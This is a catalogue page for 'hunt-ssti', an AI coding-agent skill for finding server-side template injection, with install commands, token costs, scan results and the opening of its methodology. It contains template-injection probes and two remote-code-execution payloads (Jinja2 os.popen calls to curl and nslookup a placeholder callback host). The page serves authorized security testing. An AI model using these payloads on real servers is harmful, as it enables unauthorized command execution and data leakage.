hunt-ssti

hunt-ssti is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 165 tokens per session (4,328 once invoked), scanned A, original, MIT.

A security-testing guide for finding server-side template injection, a flaw where user input is processed as template code by a web server. It covers several template systems used by Python, PHP, Java, and Ruby applications.

In plain words
What is it for?
Use it to test email templates, PDF generators, previews, profile fields, error pages, and other places where user input is rendered by a server-side template engine.
Why use it?
It helps identify cases where text fields or generated documents can be turned into server commands. This can reveal a path from harmless-looking input to control of the application.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to test email templates, PDF generators, previews, profile fields, error pages, and other places where user input is rendered by a server-side template engine.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-ssti
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,254 stars · on GitHub · hiago.sh

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add uphiago/recon-skills --skill hunt-ssti
Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-ssti

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ssti/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ssti/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-ssti

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 165 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,328 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 69
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 144
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 216
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00165 $0.04328
Opus 5 $0.00082 $0.02164
Sonnet 5 $0.00033 $0.00866
Haiku 4.5 $0.00016 $0.00433

Measured 8d ago against content hash a598b9574aed, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

hunt-ssti scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
redteam/hunt-ssti/SKILL.md · 307 lines

How it starts

The opening of the file, as written. The whole thing — 307 lines — stays where its author put it; the contents beside it link to each section on GitHub.

When to Use

Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.

Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.

Quick Reference

# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)

# Fingerprint engine
{{7*'7'}}         # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7}            # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %>        # 49 = ERB (Ruby)
*{7*7}            # 49 = Spring Thymeleaf

# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }}  # Jinja2

Step-by-Step Hunting Methodology

Phase 1 — Detection & Fingerprinting

  1. Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.

  2. Send polyglot probe — Submit {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7} in each candidate field. Look for 49 in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping.

  3. Engine fingerprinting — Once SSTI is confirmed, determine the engine:

    • {{7*'7'}}7777777 = Jinja2 (Python string repetition); 49 = Twig (PHP numeric coercion)
    • ${7*7}49 = Freemarker/Spring/Velocity/Mako
    • <%= 7*7 %>49 = ERB (Ruby on Rails)
    • *{7*7}49 = Thymeleaf (Spring/Java)
    • ${7*7} in header/cookie context → Spring Boot with sensitive properties via ${user.name}

Read the full file on GitHub · 307 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 307 lines · 165 tokens per session scan A a598b9574aed

Subscribe to this mod's changes

hunt-ssti is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 165 tokens to every session and 4,328 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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